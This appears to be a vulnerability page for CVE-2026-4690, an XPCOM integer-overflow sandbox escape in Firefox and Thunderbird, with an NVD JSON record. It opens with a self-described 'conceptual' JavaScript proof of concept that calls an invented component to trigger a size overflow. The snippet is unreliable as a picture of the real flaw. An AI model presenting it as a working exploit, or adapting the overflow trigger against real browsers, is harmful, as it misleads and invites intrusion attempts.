CVE-2026-4690

/** * Conceptual Proof of Concept (PoC) for CVE-2026-4690 * Demonstrating the integer overflow trigger in XPCOM. * Note: This is a simplified simulation for educational purposes. */ function triggerOverflow() { try { // Target the vulnerable XPCOM component interface const component = Components.classes["@mozilla.org/vulnerable-component;1"] .getService(Components.interfaces.nsIVulnerableInterface); // Malicious input designed to trigger integer overflow // Setting a size that wraps around when incremented let size = 0xFFFFFFF0; let padding = 32; console.log("[+] Attempting to allocate buffer with size: " + size); // The vulnerable method fails to check (size + padding) overflow // causing a small buffer allocation for a large data write later component.allocateBuffer(size, padding); console.log("[+] Overflow triggered. Sandbox integrity may be compromised."); } catch (e) { console.error("[-] Exploit failed: " + e.message); } } // Execute triggerOverflow();

{"cve": {"id": "CVE-2026-4690", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:04.837", "lastModified": "2026-04-13T15:17:37.640", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape due to incorrect boundary conditions, integer overflow in the XPCOM component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Escape de sandbox debido a condiciones de límite incorrectas, desbordamiento de entero en el componente XPCOM. Esta vulnerabilidad afecta a Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, y Thunderbird < 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-754"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.34.0", "matchCriteriaId": "063BE653-69B0-4543-9A90-BC7A62C943B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "128.0", "versionEndExcluding": "140.9.0", "matchCriteriaId": "525DEC0C-BB47-46C6-9AEB-98F27D4685FE"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2016375", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-21/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}